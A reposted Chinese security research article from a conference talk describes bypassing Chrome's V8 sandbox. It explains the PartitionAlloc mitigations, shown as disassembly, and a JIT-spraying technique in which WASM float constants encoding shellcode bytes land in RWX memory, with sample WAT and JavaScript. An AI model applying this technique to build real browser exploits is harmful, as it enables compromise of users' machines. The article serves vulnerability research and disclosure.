5

利用 wasm 再次绕过最新 Chrome v8sbx

 6 months ago
source link: https://paper.seebug.org/3068/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

利用 wasm 再次绕过最新 Chrome v8sbx

2023年11月03日2023年11月03日经验心得

作者:Numen cyber labs
原文链接:https://mp.weixin.qq.com/s/q9wZRUiAgVSL2DT5ddHuLw

2023年11月2日,POC2023在韩国如期举行。NumenCybery两名研究员有幸受邀参加这次会议,一起分享了“Modern Chrome Exploit Chain Development”的议题。

由于题目冠名“Modern”,如果没有比较新的东西和参会者分享,确实会略显尴尬。于是,在会议议题选中后,我迅速投入V8沙箱绕过研究。起初,我尝试利用fetch过来的binary data绕过,最后,绕过了PartitionAlloc,实现了完整地址的任意读写,于是我以为绕过了。之后我把PPT做完,迅速和主办方发过去,就安心等会议了。

2023年10月30日早上1点,我突然觉得不能这么大意。半夜突发奇想,起来验证任意读写。大概在上次天府杯的WASM漏洞利用时,使用了PartitionAlloc的方法实现了任意读写,所以这次起初我并没有太多关心是否真的彻底成功了。因为我验证了下读写。然而,当我尝试读写WASM的时候,却崩溃了。我瞬间清醒了,这说明我并没有彻底完成V8沙箱绕过。

之后我调试了下,通过反汇编分析了原因:PartitionAlloc已经不再是原来的那个PartitionAlloc了。确切的说,又添加了4个缓解措施:

1.我们不能通过修改FreeList来实现控制MetadataPage了。因为Chrome检查了当前地址和下一个地址的差值,如果不符合要求,那就直接中断(int)

2.控制了MetadataPage后,在之前的x86版本,会对FreeList的地址做逻辑运算,如果FreeList不符合要求,直接中断(int3)

Partition Alloc free list Mitigation

558110B6E62B - bswap rdx
558110B6E62E - mov rsi,rdx
558110B6E631 - xor rsi,r12
558110B6E634 - cmp rsi,001FFFFF { 2097151 }
558110B6E63B - ja chrome+2C26B80 { ->558110B6EB80 } INT3
558110B6E641 - mov esi,edx
558110B6E643 - and esi,001FC000 { 2080768 }
558110B6E649 - je chrome+2C26B80 { ->558110B6EB80 } INT3

3.PartitionAlloc对目标地址的写入要求,做了地址范围限制:不能过小。

4.也不能过大:

Partition Alloc MetadataPage Mitigation(version 118.0.5993.117)

chrome+2D202FF - mov rax,[chrome+DC12B60] { (162400000000=min(Partition Addr)) }
chrome+2D20306 - cmp rax,r14 (r14 is destination addr)
chrome+2D20309 - ja chrome+2D20B8B INT3 (if dest < min(PartitionAlloc addr) then crash))
chrome+2D2030F - add rax,[chrome+DC12B70] { (0) } (rax+lengthOfParthtion)
chrome+2D20316 - cmp rax,r14chrome+2D20319 - jbe chrome+2D20B8B INT3 (if dest > max(PartitionAlloc addr) then crash))

细致研究后我初步得出结论:

我并没有完整绕过PartitonAlloc Alloc,只是获得了一定内存范围内的任意读写。

2. 寻找新的攻击面

在初步确定没有完全绕过后,我立刻通过邮件与主办方联系,申请稍后更新PPT。随后,无法入睡,我不停地尝试,直到凌晨3点,我认为可能发现了新的绕过方法。稍作休息,5点起床后,我继续晚上的绕过尝试。经过调试,最终确认彻底绕过。

如果我们想绕过V8的沙箱,我们最终需要实现完整地址劫持和稳定的shellcode地址跳转。也就是说,需要稳定的RWX/RX地址计算。上次,我们公开了WASM绕过最新版V8沙箱,使用了Function的原生指针劫持。然而,我们公开后,谷歌迅速将WASM中的函数参数分配放在了可读可写的内存中,导致的结果是我们不能把想要的shellcode放在WASM中。这里,我们首先需要一个指针劫持,这个不太难,我认为是谷歌疏忽了这个点,如下所示

图片

只要是Chrome研究人员,在编写exploit时,都会从内存中定位这个指针,然后计算WASM的地址,接着像以前一样,将shellcode写入。但是,谷歌没有对这个Native指针进行封装。

仔细研究Manyuemo给出的JIT优化的shellcode后,我发现即便在最新版Chrome中,优化后的浮点数仍旧会被放在RWX的内存中。但是如何稳定计算这个地址是个问题。我没有去研究JIT后的地址计算源码,因为时间紧迫。

function fun() {
// 1.123=3ff1f7ced916872b
return [1.123, 1.134, 1.345];
}
for (let i = 0; i < 0x5000; i++) {
fun(0);
}
fun();
55D9B81040B8 - mov eax,00000006 { 6 }
55D9B81040BD - mov [rdi+03],eax
55D9B81040C0 - mov r10,3FF1F7CED916872B { 1.12 }
55D9B81040CA - vmovq xmm0,r10
55D9B81040CF - vmovsd [rdi+07],xmm0
55D9B81040D4 - mov r10,3FF224DD2F1A9FBE { 1.13 }
55D9B81040DE - vmovq xmm0,r10
55D9B81040E3 - vmovsd [rdi+0F],xmm0
55D9B81040E8 - mov r10,3FF5851EB851EB85 { 0.00 }
55D9B81040F2 - vmovq xmm0,r10

这里我想提一句插曲是,其实过去很多时候在完成一个exploit后,有些点我也不清楚为什么会有效。因为老板急需成果,在现有条件和理论基础不够强的情况下,我能做的只能是不断尝试,寻找触发弹出计算器的方法。一般来说,一个exploit完成后,迅速向上级汇报,而其根本原因和底层原理则是日后才去研究的。我觉得过去几年的成果大多是不断尝试的结果。

3. WASM的JIT

结合Manyuemo的JIT函数,我认为如果V8沙箱的绕过存在,很可能在其他一些边缘的地方。比如WASM、WebAudio、WebSQL等等,我们可以看到过去编写exploit容易的地方,谷歌一直在努力加强安全性。因此,我尝试了下WASM函数的JIT。果然,我发现WASM函数优化后也会将参数放到RWX的内存中。

wat代码

(module  
  (func (export "main") (result f64)    
    ;; -6.654614018578406e+60=CC90909090909090     
    f64.const -6.654614018578406e+60    
    ;; 1.124=3ff1fbe76c8b4396    
    f64.const 1.124    
    ;; 1.125=3ff2000000000000    
    f64.const 1.125    
    ;; 1.126=3ff204189374bc6a    
    f64.const 1.126
    drop
    drop
    drop
))
var wasmCode = new Uint8Array([...wasm..binary…]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
for (let i = 0; i < 0x10000; i++) {
f();
}%DebugPrint(wasmInstance);

javascript测试代码

生成的代码如下:

355CEAE43715 - jbe 355CEAE43771
355CEAE4371B - mov r10,CC90909090909090 { -1869574000 }
355CEAE43725 - vmovq xmm0,r10
355CEAE4372A - mov r10,3FF1FBE76C8B4396 { 1.12 }
355CEAE43734 - vmovq xmm1,r10
355CEAE43739 - mov r10,3FF2000000000000 { 1.13 }
355CEAE43743 - vmovq xmm2,r10
355CEAE43748 - mov r10,3FF204189374BC6A { 1.13 }
355CEAE43752 - vmovq xmm3,r10

在兼顾JIT性能的同时,类似于之前的WASM绕过,我们不得不考虑将浮点数等比较长的可预测常量属性设置为R/RW,或者同时修复它们的可预测地址方法。否则,攻击者很容易获得稳定的shellcode执行。

5.参考链接


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3068/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK